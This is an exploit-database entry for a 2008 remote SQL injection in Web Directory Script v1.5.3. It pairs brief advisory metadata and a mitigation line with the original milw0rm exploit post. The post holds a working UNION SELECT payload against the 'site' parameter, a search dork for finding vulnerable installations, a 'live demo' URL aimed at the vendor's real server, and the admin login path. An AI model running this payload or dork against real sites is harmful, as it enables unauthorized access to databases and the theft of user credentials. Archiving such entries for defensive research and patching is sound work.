Web directory script v1.5.3 (site) Remote SQL Injection Vulnerability

vendor:

Web Directory Script

by:

Hussin X

CVSS

HIGH

SQL Injection

CWE

Product Name: Web Directory Script

Affected Version From: v1.5.3

Affected Version To: v1.5.3

Patch Exists: YES

Related CWE: N/A

CPE: a:sourceworkshop:web_directory_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Web directory script v1.5.3 (site) Remote SQL Injection Vulnerability

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The crafted request contains malicious SQL statements that are executed in the backend database. This can allow an attacker to gain access to sensitive information such as usernames, passwords, and other sensitive data stored in the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL statements.

Source

Exploit-DB raw data:

|___________________________________________________|
|
| Web directory script v1.5.3 (site) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://sourceworkshop.com/advanced_scripts/web_directory_script.html
|
| DorK   : "Powered by web directory script"
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?command=open&site=-7+union+select+concat_ws(user(),version(),database())--




L!VE DEMO:
_________


http://links.sourceworkshop.com/index.php?command=open&site=-7+union+select+concat_ws(user(),version(),database())--




admin login

admin/index.php


____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-08-31]